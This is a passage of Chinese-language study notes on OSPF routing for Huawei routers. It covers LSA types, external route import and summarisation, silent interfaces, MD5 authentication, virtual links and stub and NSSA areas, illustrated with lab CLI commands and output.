TYPE 2) FA: 转发地址，用于 OSPF 外部路由器的路径调优. TAG: 默认值 1, 给传递的路由信息打上标签，主要用于控制外部路由的传递 ASBR Summary LSALSA4: LS ID: 所描述 ASBR 的 RID Metric: 度量值，描述生成该 LSA 设备到达 ASBR 的开销 LSA4 中没有掩码信息 LSA4 的传递规则和 LSA3 一致，OSPF 域间防环规则同样适用于 LSA4. Shell[R5]ip route-static 7.7.7.7 32 57.1.1.7[R7]ip route-static 0.0.0.0 0 57.1.1.5&lt;R2&gt;ping 7.7.7.7 PING 7.7.7.7: 56 data bytes, press CTRL_C to break Request time out Request time out Request time out Request time out Request time out --- 7.7.7.7 ping statistics --- 5 packet(s) transmitted 0 packet(s) received 100.00% packet loss[R5-ospf-1]import-route ? bgp Border Gateway Protocol (BGP) routes direct Connected routes isis Intermediate System to Intermediate System (IS-IS) routes limit Limit the number of routes imported into OSPF ospf Open Shortest Path First (OSPF) routes rip Routing Information Protocol (RIP) routes static Static routes unr User Network Routes// 引入外部路由[R5-ospf-1]import-route static &lt;R2&gt;ping 7.7.7.7 PING 7.7.7.7: 56 data bytes, press CTRL_C to break Reply from 7.7.7.7: bytes=56 Sequence=1 ttl=254 time=110 ms Reply from 7.7.7.7: bytes=56 Sequence=2 ttl=254 time=140 ms Reply from 7.7.7.7: bytes=56 Sequence=3 ttl=254 time=120 ms Reply from 7.7.7.7: bytes=56 Sequence=4 ttl=254 time=40 ms Reply from 7.7.7.7: bytes=56 Sequence=5 ttl=254 time=30 ms --- 7.7.7.7 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 30/88/140 ms[R5]display ospf lsdb ase OSPF Process 1 with Router ID 5.5.5.5 Link State Database Type : External Ls id : 7.7.7.7 Adv rtr : 5.5.5.5 Ls age : 45 Len : 36 Options : E seq# : 80000001 chksum : 0x257b Net mask : 255.255.255.255 TOS 0 Metric: 1 E type : 2 Forwarding Address : 0.0.0.0 Tag : 1 Priority : Low[R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 Direct 0 0 D 127.0.0.1 LoopBack0 2.2.2.2/32 OSPF 10 1 D 123.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 OSPF 10 1 D 123.1.1.3 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 48 D 14.1.1.4 Serial4/0/0 5.5.5.5/32 OSPF 10 2 D 123.1.1.2 GigabitEthernet0/0/0 6.6.6.6/32 OSPF 10 49 D 14.1.1.4 Serial4/0/0 7.7.7.7/32 O_ASE 150 1 D 123.1.1.2 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 Serial4/0/0 14.1.1.1/32 Direct 0 0 D 127.0.0.1 Serial4/0/0 14.1.1.4/32 Direct 0 0 D 14.1.1.4 Serial4/0/0 14.1.1.255/32 Direct 0 0 D 127.0.0.1 Serial4/0/0 25.1.1.0/24 OSPF 10 2 D 123.1.1.2 GigabitEthernet0/0/0 46.1.1.0/24 OSPF 10 49 D 14.1.1.4 Serial4/0/0 123.1.1.0/24 Direct 0 0 D 123.1.1.1 GigabitEthernet0/0/0 123.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 123.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0---------[R5]ospf[R5-ospf-1]dis th[V200R003C00]#ospf 1 router-id 5.5.5.5 import-route static area 0.0.0.2 network 5.5.5.5 0.0.0.0 network 25.1.1.5 0.0.0.0 #return[R5-ospf-1]undo import-route static[R5-ospf-1]import-route static ? cost Set cost route-policy Route policy tag Specify route tag type Metric type of the imported external routes &lt;cr&gt; Please press ENTER to execute command [R5-ospf-1]import-route static type 1[R5-ospf-1]dis th[V200R003C00]#ospf 1 router-id 5.5.5.5 import-route static type 1 area 0.0.0.2 network 5.5.5.5 0.0.0.0 network 25.1.1.5 0.0.0.0 #return[R1]display ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 Direct 0 0 D 127.0.0.1 LoopBack0 2.2.2.2/32 OSPF 10 1 D 123.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 OSPF 10 1 D 123.1.1.3 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 48 D 14.1.1.4 Serial4/0/0 5.5.5.5/32 OSPF 10 2 D 123.1.1.2 GigabitEthernet0/0/0 6.6.6.6/32 OSPF 10 49 D 14.1.1.4 Serial4/0/0 7.7.7.7/32 O_ASE 150 3 D 123.1.1.2 GigabitEthernet0/0/0 14.1.1.0/24 Direct 0 0 D 14.1.1.1 Serial4/0/0 14.1.1.1/32 Direct 0 0 D 127.0.0.1 Serial4/0/0 14.1.1.4/32 Direct 0 0 D 14.1.1.4 Serial4/0/0 14.1.1.255/32 Direct 0 0 D 127.0.0.1 Serial4/0/0 25.1.1.0/24 OSPF 10 2 D 123.1.1.2 GigabitEthernet0/0/0 46.1.1.0/24 OSPF 10 49 D 14.1.1.4 Serial4/0/0 123.1.1.0/24 Direct 0 0 D 123.1.1.1 GigabitEthernet0/0/0 123.1.1.1/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 123.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0-------------------------[R5]ospf 1[R5-ospf-1]dis th[V200R003C00]#ospf 1 router-id 5.5.5.5 import-route static type 1 area 0.0.0.2 network 5.5.5.5 0.0.0.0 network 25.1.1.5 0.0.0.0 #return[R5-ospf-1]undo import-route static [R5-ospf-1]import-route static tag ? INTEGER&lt;0-4294967295&gt; Tag value[R5-ospf-1]import-route static tag 10[R5-ospf-1]dis ospf lsdb ase OSPF Process 1 with Router ID 5.5.5.5 Link State Database Type : External Ls id : 7.7.7.7 Adv rtr : 5.5.5.5 Ls age : 31 Len : 36 Options : E seq# : 80000001 chksum : 0xc7cf Net mask : 255.255.255.255 TOS 0 Metric: 1 E type : 2 Forwarding Address : 0.0.0.0 Tag : 10 Priority : Low---------------[R5-ospf-1]import-route direct [R5-ospf-1]display ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 20 Routes : 20 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 2 D 25.1.1.2 GigabitEthernet0/0/0 2.2.2.2/32 OSPF 10 1 D 25.1.1.2 GigabitEthernet0/0/0 3.3.3.3/32 OSPF 10 2 D 25.1.1.2 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 50 D 25.1.1.2 GigabitEthernet0/0/0 5.5.5.5/32 Direct 0 0 D 127.0.0.1 LoopBack0 6.6.6.6/32 OSPF 10 51 D 25.1.1.2 GigabitEthernet0/0/0 7.7.7.7/32 Static 60 0 RD 57.1.1.7 GigabitEthernet0/0/1 14.1.1.0/24 OSPF 10 50 D 25.1.1.2 GigabitEthernet0/0/0 25.1.1.0/24 Direct 0 0 D 25.1.1.5 GigabitEthernet0/0/0 25.1.1.5/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 25.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 46.1.1.0/24 OSPF 10 51 D 25.1.1.2 GigabitEthernet0/0/0 57.1.1.0/24 Direct 0 0 D 57.1.1.5 GigabitEthernet0/0/1 57.1.1.5/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 57.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 123.1.1.0/24 OSPF 10 2 D 25.1.1.2 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 OSPF 路由选路原则域内路由 &gt; 域间路由 &gt; 外部路由 (TYPE1&gt;TYPE2)&gt; 开销 OSPF 路由汇总3 类路由汇总 Network-summary-LSA [R6]int lo1[R6-LoopBack1]ip add 10.1.1.1 24[R6-LoopBack1]int lo2[R6-LoopBack2]ip add 10.1.2.1 24[R6-LoopBack2]int lo3[R6-LoopBack3]ip add 10.1.3.1 24[R6-LoopBack3]q[R6]ospf 1[R6-ospf-1]a 1[R6-ospf-1-area-0.0.0.1]net [R6-ospf-1-area-0.0.0.1]network 10.1.1.1 0.0.0.0[R6-ospf-1-area-0.0.0.1]network 10.1.2.1 0.0.0.0[R6-ospf-1-area-0.0.0.1]network 10.1.3.1 0.0.0.0[R6-ospf-1-area-0.0.0.1]q[R6-ospf-1]dis th[V200R003C00]#ospf 1 router-id 6.6.6.6 area 0.0.0.1 network 6.6.6.6 0.0.0.0 network 10.1.1.1 0.0.0.0 network 10.1.2.1 0.0.0.0 network 10.1.3.1 0.0.0.0 network 46.1.1.6 0.0.0.0 #return[R6-ospf-1][R4]display ospf lsdb OSPF Process 1 with Router ID 4.4.4.4 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 627 60 80000008 0 Router 2.2.2.2 2.2.2.2 594 48 8000000A 1 Router 1.1.1.1 1.1.1.1 591 72 8000000F 1 Router 3.3.3.3 3.3.3.3 591 48 8000000E 1 Network 123.1.1.3 3.3.3.3 591 36 80000007 0 Sum-Net 6.6.6.6 4.4.4.4 594 28 80000003 1 Sum-Net 5.5.5.5 2.2.2.2 598 28 80000003 1 Sum-Net 46.1.1.0 4.4.4.4 632 28 80000003 1 Sum-Net 10.1.3.1 4.4.4.4 148 28 80000001 1 Sum-Net 25.1.1.0 2.2.2.2 636 28 80000003 1 Sum-Net 10.1.2.1 4.4.4.4 153 28 80000001 1 Sum-Net 10.1.1.1 4.4.4.4 157 28 80000001 1 Sum-Asbr 5.5.5.5 2.2.2.2 741 28 80000001 1 Area: 0.0.0.1 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 594 36 80000006 1 Router 6.6.6.6 6.6.6.6 149 84 8000000B 1 Network 46.1.1.6 6.6.6.6 585 32 80000004 0 Sum-Net 5.5.5.5 4.4.4.4 592 28 80000003 50 Sum-Net 3.3.3.3 4.4.4.4 602 28 80000003 49 Sum-Net 14.1.1.0 4.4.4.4 632 28 80000003 48 Sum-Net 123.1.1.0 4.4.4.4 602 28 80000004 49 Sum-Net 4.4.4.4 4.4.4.4 632 28 80000003 0 Sum-Net 2.2.2.2 4.4.4.4 592 28 80000003 49 Sum-Net 25.1.1.0 4.4.4.4 592 28 80000003 50 Sum-Net 1.1.1.1 4.4.4.4 626 28 80000003 48 Sum-Asbr 5.5.5.5 4.4.4.4 739 28 80000001 50 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 7.7.7.7 5.5.5.5 744 36 80000001 1 External 5.5.5.5 5.5.5.5 626 36 80000001 1 External 25.1.1.0 5.5.5.5 626 36 80000001 1 External 57.1.1.0 5.5.5.5 626 36 80000001 1 [R4]ospf 1[R4-ospf-1]a 1[R4-ospf-1-area-0.0.0.1]abr-summary ? IP_ADDR&lt;X.X.X.X&gt; IP address[R4-ospf-1-area-0.0.0.1]abr-summary 10.1.0.0 ? IP_ADDR&lt;X.X.X.X&gt; IP address mask[R4-ospf-1-area-0.0.0.1]abr-summary 10.1.0.0 255.255.252.0[R4-ospf-1-area-0.0.0.1]dis th[V200R003C00]# area 0.0.0.1 abr-summary 10.1.0.0 255.255.252.0 network 46.1.1.4 0.0.0.0 #return[R4-ospf-1-area-0.0.0.1][R1]display ospf lsdb OSPF Process 1 with Router ID 1.1.1.1 Link State Database Area: 0.0.0.0 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 1218 60 80000008 0 Router 2.2.2.2 2.2.2.2 1183 48 8000000A 1 Router 1.1.1.1 1.1.1.1 1180 72 8000000F 1 Router 3.3.3.3 3.3.3.3 1180 48 8000000E 1 Network 123.1.1.3 3.3.3.3 1180 36 80000007 0 Sum-Net 6.6.6.6 4.4.4.4 1185 28 80000003 1 Sum-Net 5.5.5.5 2.2.2.2 1187 28 80000003 1 Sum-Net 46.1.1.0 4.4.4.4 1223 28 80000003 1 Sum-Net 25.1.1.0 2.2.2.2 1225 28 80000003 1 Sum-Net 10.1.0.0 4.4.4.4 9 28 80000001 1 Sum-Asbr 5.5.5.5 2.2.2.2 1330 28 80000001 1 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 7.7.7.7 5.5.5.5 1331 36 80000001 1 External 5.5.5.5 5.5.5.5 1213 36 80000001 1 External 25.1.1.0 5.5.5.5 1213 36 80000001 1 External 57.1.1.0 5.5.5.5 1213 36 80000001 1 外部路由汇总 5 类 [R5]ip route-static 20.1.1.0 24 57.1.1.7[R5]ip route-static 20.1.2.0 24 57.1.1.7[R5]ip route-static 20.1.3.0 24 57.1.1.7&lt;R2&gt;dis ip routing-table Route Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 24 Routes : 24 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 1 D 123.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 LoopBack0 3.3.3.3/32 OSPF 10 1 D 123.1.1.3 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 49 D 123.1.1.1 GigabitEthernet0/0/0 5.5.5.5/32 OSPF 10 1 D 25.1.1.5 GigabitEthernet0/0/1 6.6.6.6/32 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 7.7.7.7/32 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 10.1.0.0/22 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 14.1.1.0/24 OSPF 10 49 D 123.1.1.1 GigabitEthernet0/0/0 20.1.1.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 20.1.2.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 20.1.3.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 25.1.1.0/24 Direct 0 0 D 25.1.1.2 GigabitEthernet0/0/1 25.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 25.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 46.1.1.0/24 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 57.1.1.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 123.1.1.0/24 Direct 0 0 D 123.1.1.2 GigabitEthernet0/0/0 123.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 123.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0[R5]ospf 1[R5-ospf-1]asbr-su [R5-ospf-1]asbr-summary 20.1.0.0 255.255.252.0&lt;R2&gt;dis ip routing-tableRoute Flags: R - relay, D - download to fib------------------------------------------------------------------------------Routing Tables: Public Destinations : 22 Routes : 22 Destination/Mask Proto Pre Cost Flags NextHop Interface 1.1.1.1/32 OSPF 10 1 D 123.1.1.1 GigabitEthernet0/0/0 2.2.2.2/32 Direct 0 0 D 127.0.0.1 LoopBack0 3.3.3.3/32 OSPF 10 1 D 123.1.1.3 GigabitEthernet0/0/0 4.4.4.4/32 OSPF 10 49 D 123.1.1.1 GigabitEthernet0/0/0 5.5.5.5/32 OSPF 10 1 D 25.1.1.5 GigabitEthernet0/0/1 6.6.6.6/32 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 7.7.7.7/32 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 10.1.0.0/22 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 14.1.1.0/24 OSPF 10 49 D 123.1.1.1 GigabitEthernet0/0/0 20.1.0.0/22 O_ASE 150 2 D 25.1.1.5 GigabitEthernet0/0/1 25.1.1.0/24 Direct 0 0 D 25.1.1.2 GigabitEthernet0/0/1 25.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 25.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/1 46.1.1.0/24 OSPF 10 50 D 123.1.1.1 GigabitEthernet0/0/0 57.1.1.0/24 O_ASE 150 1 D 25.1.1.5 GigabitEthernet0/0/1 123.1.1.0/24 Direct 0 0 D 123.1.1.2 GigabitEthernet0/0/0 123.1.1.2/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 123.1.1.255/32 Direct 0 0 D 127.0.0.1 GigabitEthernet0/0/0 127.0.0.0/8 Direct 0 0 D 127.0.0.1 InLoopBack0 127.0.0.1/32 Direct 0 0 D 127.0.0.1 InLoopBack0127.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0255.255.255.255/32 Direct 0 0 D 127.0.0.1 InLoopBack0 静默接口当 OSPF 路由器下行链路不再连接其他的 OSPF 路由器时，可以将接口设置为静默接口，避免产生垃圾流量，接口一旦被配置为静默接口，则不会向外发送 HELLO 报文. [R4-ospf-1]silent-interface ? Cellular Cellular interface GigabitEthernet GigabitEthernet interface LoopBack LoopBack interface Serial Serial interface all Suppress and receive routing on all interfaces[R4-ospf-1]silent-interface g 0/0/0Feb 21 2024 13:50:27-08:00 R4 %%01OSPF/3/NBR_CHG_DOWN(l)[0]:Neighbor event:neighbor state changed to Down. (ProcessId=256, NeighborAddress=6.6.6.6, NeighborEvent=KillNbr, NeighborPreviousState=Full, NeighborCurrentState=Down) [R4-ospf-1]Feb 21 2024 13:50:27-08:00 R4 %%01OSPF/3/NBR_DOWN_REASON(l)[1]:Neighbor state leaves full or changed to Down. (ProcessId=256, NeighborRouterId=6.6.6.6, NeighborAreaId=16777216, NeighborInterface=GigabitEthernet0/0/0,NeighborDownImmediate reason=Neighbor Down Due to Kill Neighbor, NeighborDownPrimeReason=Passive Interface Down, NeighborChangeTime=2024-02-21 13:50:27-08:00) [R4-ospf-1][R4-ospf-1]undo silent-interface g 0/0/0 OSPF 报文认证OSPF 认证: OSPF 支持报文认证功能，只有通过认证的 OSPF 报文才能被接收 1. 区域认证：一个 OSPF 区域中所有的路由器在该区域下认证模式和密码一致 2. 接口认证：相邻路由器的直连接口的认证模式和密码一致 如果两种认证方式混合使用，优先使用接口的认证方式 区域认证区域认证，认证模式和认证密码一定要一致 ospf 1 router-id 2.2.2.2 area 0.0.0.0 authentication-mode md5 1 plain huawei@123 [R3]ospf 1[R3-ospf-1]a 0[R3-ospf-1-area-0.0.0.0]au [R3-ospf-1-area-0.0.0.0]authentication-mode ? hmac-md5 Use HMAC-MD5 algorithm keychain Keychain authentication mode md5 Use MD5 algorithm simple Simple authentication mode[R3-ospf-1-area-0.0.0.0]authentication-mode md5 ? INTEGER&lt;1-255&gt; Key ID &lt;cr&gt; Please press ENTER to execute command [R3-ospf-1-area-0.0.0.0]authentication-mode md5 1 ? STRING&lt;1-255&gt;/&lt;20-392&gt; The password (key) cipher Encryption type (Cryptogram) plain Encryption type (Plain text)[R3-ospf-1-area-0.0.0.0]authentication-mode md5 1 p [R3-ospf-1-area-0.0.0.0]authentication-mode md5 1 plain huawei@123[R3-ospf-1-area-0.0.0.0]dis th[V200R003C00]# area 0.0.0.0 authentication-mode md5 1 plain huawei@123 network 3.3.3.3 0.0.0.0 network 123.1.1.3 0.0.0.0 #return[R1]ospf 1[R1-ospf-1]a 0[R1-ospf-1-area-0.0.0.0]au[R1-ospf-1-area-0.0.0.0]authentication-mode md5 1 plain huawei@123[R1-ospf-1-area-0.0.0.0]dis th[V200R003C00]# area 0.0.0.0 authentication-mode md5 1 plain huawei@123 network 1.1.1.1 0.0.0.0 network 14.1.1.1 0.0.0.0 network 123.1.1.1 0.0.0.0 #Return[R4-ospf-1-area-0.0.0.0]authentication-mode md5 1 plain huawei@123[R2-ospf-1-area-0.0.0.0]authentication-mode md5 1 plain huawei@123[R2-ospf-1-area-0.0.0.0]dis ospf peer b OSPF Process 1 with Router ID 2.2.2.2 Peer Statistic Information ---------------------------------------------------------------------------- Area Id Interface Neighbor id State 0.0.0.0 GigabitEthernet0/0/0 1.1.1.1 Full 0.0.0.0 GigabitEthernet0/0/0 3.3.3.3 Full 0.0.0.2 GigabitEthernet0/0/1 5.5.5.5 Full ---------------------------------------------------------------------------- 接口认证interface GigabitEthernet0/0/0 ospf authentication-mode md5 1 plain huawei@123 [R4]int g0/0/0[R4-GigabitEthernet0/0/0]ospf au [R4-GigabitEthernet0/0/0]ospf authentication-mode md5 ? INTEGER&lt;1-255&gt; Key ID &lt;cr&gt; Please press ENTER to execute command [R4-GigabitEthernet0/0/0]ospf authentication-mode md5 1 plain huawei@123[R4-GigabitEthernet0/0/0]dis th[V200R003C00]#interface GigabitEthernet0/0/0 ip address 46.1.1.4 255.255.255.0 ospf authentication-mode md5 1 plain huawei@123#return[R4]dis ospf peer brief OSPF Process 1 with Router ID 4.4.4.4 Peer Statistic Information ---------------------------------------------------------------------------- Area Id Interface Neighbor id State 0.0.0.0 Serial4/0/0 1.1.1.1 Full ----------------------------------------------------------------------------[R6]ospf 1[R6-ospf-1]a 1[R6-ospf-1-area-0.0.0.1]authentication-mode md5 1 plain huawei@123[R4]dis ospf peer brief OSPF Process 1 with Router ID 4.4.4.4 Peer Statistic Information ---------------------------------------------------------------------------- Area Id Interface Neighbor id State 0.0.0.0 Serial4/0/0 1.1.1.1 Full 0.0.0.1 GigabitEthernet0/0/0 6.6.6.6 Full ---------------------------------------------------------------------------- 虚连接虚连接可以实现让没有和骨干区域相连的非骨干区域连接到骨干区域中也可以用于实现被分割的骨干区域逻辑相连 虚连接的注意事项: 虚连接在配置时，配置命令中为对方的 RID 虚连接只能穿越一个区域 虚连接不能穿越骨干区域 虚连接不能穿越特殊区域 如果骨干区域配置了 OSPF 区域认证，则虚连接的接口也需要认证 虚连接只能作为网络的弥补方案，不能作为网络设计方案 [R2-ospf-1-area-0.0.0.1]vlink-peer 10.0.3.3[R3-ospf-1-area-0.0.0.1]vlink-peer 10.0.2.2[R4-ospf-1]ping 10.0.5.5 PING 10.0.5.5: 56 data bytes, press CTRL_C to break Reply from 10.0.5.5: bytes=56 Sequence=1 ttl=252 time=60 ms Reply from 10.0.5.5: bytes=56 Sequence=2 ttl=252 time=50 ms Reply from 10.0.5.5: bytes=56 Sequence=3 ttl=252 time=30 ms Reply from 10.0.5.5: bytes=56 Sequence=4 ttl=252 time=40 ms Reply from 10.0.5.5: bytes=56 Sequence=5 ttl=252 time=30 ms --- 10.0.5.5 ping statistics --- 5 packet(s) transmitted 5 packet(s) received 0.00% packet loss round-trip min/avg/max = 30/42/60 ms&lt;R2&gt;dis ospf lsdb router self-originate OSPF Process 1 with Router ID 10.0.2.2 Area: 0.0.0.0 Link State Database Type : Router Ls id : 10.0.2.2 Adv rtr : 10.0.2.2 Ls age : 87 Len : 60 Options : ABR E seq# : 80000008 chksum : 0xa3ff Link count: 3 * Link ID: 10.0.2.2 Data : 255.255.255.255 Link Type: StubNet Metric : 0 Priority : Medium * Link ID: 24.1.1.4 Data : 24.1.1.2 Link Type: TransNet Metric : 1 * Link ID: 10.0.3.3 Data : 12.1.1.2 Link Type: Virtual Metric : 2 Area: 0.0.0.1 Link State Database Type : Router Ls id : 10.0.2.2 Adv rtr : 10.0.2.2 Ls age : 87 Len : 36 Options : ABR VIRTUAL E seq# : 80000006 chksum : 0xe428 Link count: 1 * Link ID: 12.1.1.2 Data : 12.1.1.2 Link Type: TransNet Metric : 1 影响 OSPF 邻居建立的因素OSPF 基本头中: RID: 用于标识设备的 RID.(RID 必须不同且唯一) version: 用于标识当前 OSPF 协议的版本号. AREA ID: 用于标识设备接口所属的区域 (必须相同) checksum: 校验和，用于校验报文的完整性，防止被篡改 Aulype: 认证类型，用于标识当前 OSPF 设备所使用的认证方式 Hello 头中 network mask: 表示当前接口的掩码信息.(必须相同) hello time: 表示发送 hello 报文的间隔时间 (必须相同) option: 可选项，提供了 OSPF 的扩展功能 (必须相同) priority: 路由优先级，用于 OSPF MA 网络中的 DR 选举 (不能都为 O) dead time: 表示 OSPF 邻居设备的失效时间 (必须相同)"},{"title":"","date":"2024-02-22T02:00:00.000Z","updated":"2024-02-22T02:00:00.000Z","comments":true,"path":"notes/datacom/23.html","permalink":"https://blog.mhuig.top/notes/datacom/23","excerpt":"","text":"OSPF 特殊区域 OSPF 特殊区域 什么时候使用特殊区域(目的：减少 LSDB 的规模) 1. 网络末端 2. 路由器性能低下 Stub 区域Stub (末节区域) Stub 中只有 1LSA,2LSA,3LSA 以及一个描述缺省路由的 3LSA LSA5,LSA4 不允许发布到 STUB 区域中，到达 AS 外的路由只能基于 ABR 生成的默认路由 STUB 区域可以减少 STUB 区域内路由器的 LSDB 规模和对设备的需求 [R6-ospf-1-area-0.0.0.1]stub [R4-ospf-1-area-0.0.0.1]stub[R6]dis ospf lsdb OSPF Process 1 with Router ID 6.6.6.6 Link State Database Area: 0.0.0.1 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 95 36 80000003 1 Router 6.6.6.6 6.6.6.6 94 84 80000007 1 Network 46.1.1.6 6.6.6.6 94 32 80000001 0 Sum-Net 5.5.5.5 4.4.4.4 85 28 80000001 50 Sum-Net 3.3.3.3 4.4.4.4 90 28 80000001 49 Sum-Net 14.1.1.0 4.4.4.4 128 28 80000001 48 Sum-Net 123.1.1.0 4.4.4.4 117 28 80000001 49 Sum-Net 4.4.4.4 4.4.4.4 137 28 80000001 0 Sum-Net 2.2.2.2 4.4.4.4 85 28 80000001 49 Sum-Net 25.1.1.0 4.4.4.4 85 28 80000001 50 Sum-Net 1.1.1.1 4.4.4.4 117 28 80000001 48 Sum-Asbr 5.5.5.5 4.4.4.4 85 28 80000001 50 AS External Database Type LinkState ID AdvRouter Age Len Sequence Metric External 20.1.0.0 5.5.5.5 151 36 80000001 2 External 7.7.7.7 5.5.5.5 151 36 80000001 1 External 5.5.5.5 5.5.5.5 160 36 80000001 1 External 25.1.1.0 5.5.5.5 131 36 80000001 1 External 57.1.1.0 5.5.5.5 151 36 80000001 1 [R6]ospf 1[R6-ospf-1]a 1[R6-ospf-1-area-0.0.0.1]stub ? no-summary Do not send summary LSA into stub area &lt;cr&gt; Please press ENTER to execute command [R6-ospf-1-area-0.0.0.1]stub [R4]ospf 1[R4-ospf-1]a 1[R4-ospf-1-area-0.0.0.1]stub[R6-ospf-1-area-0.0.0.1]dis ospf lsdb OSPF Process 1 with Router ID 6.6.6.6 Link State Database Area: 0.0.0.1 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 41 36 80000004 1 Router 6.6.6.6 6.6.6.6 40 84 80000005 1 Network 46.1.1.6 6.6.6.6 40 32 80000001 0 Sum-Net 0.0.0.0 4.4.4.4 86 28 80000001 1 Sum-Net 5.5.5.5 4.4.4.4 86 28 80000001 50 Sum-Net 3.3.3.3 4.4.4.4 86 28 80000001 49 Sum-Net 14.1.1.0 4.4.4.4 86 28 80000001 48 Sum-Net 123.1.1.0 4.4.4.4 86 28 80000001 49 Sum-Net 4.4.4.4 4.4.4.4 86 28 80000001 0 Sum-Net 2.2.2.2 4.4.4.4 86 28 80000001 49 Sum-Net 25.1.1.0 4.4.4.4 86 28 80000001 50 Sum-Net 1.1.1.1 4.4.4.4 86 28 80000001 48 Totally Stub 区域Totally Stub (完全末节区域): 只有 1LSA,2LSA 以及一条描述缺省路由的 3LSA (所有的 Stub 区域都无法引入外部路由) [R6-ospf-1-area-0.0.0.1]stub no-summary [R4-ospf-1-area-0.0.0.1]stub no-summary [R6-ospf-1-area-0.0.0.1]dis ospf lsdb OSPF Process 1 with Router ID 6.6.6.6 Link State Database Area: 0.0.0.1 Type LinkState ID AdvRouter Age Len Sequence Metric Router 4.4.4.4 4.4.4.4 35 36 80000009 1 Router 6.6.6.6 6.6.6.6 32 84 8000000B 1 Network 46.1.1.6 6.6.6.6 32 32 80000002 0 Sum-Net 0.0.0.0 4.4.4.4 280 28 80000001 1 NSSA 区域NSSA (次末节区域): 不接受且不生成 4LSA,5LSA, 但可以引入外部路由，会生成一个 7LSA, 描述外部路由。同时 ABR 生成一个缺省路由，由 7LSA 描述。其他的普通区域不认识 7LSA,ABR 会将 7LSA 转换成 5LSA 进行泛洪. [R2]ospf 1[R2-ospf-1]a 2[R2-ospf-1-area-0.0.0.2]nssa[R5]ospf 1[R5-ospf-1]a 2[R5-ospf-1-area-0.0.0.2]nssa&lt;R2&gt;reset ospf 1 process&lt;R5&gt;reset ospf 1 process&lt;R5&gt;dis ospf lsdb OSPF Process 1 with Router ID 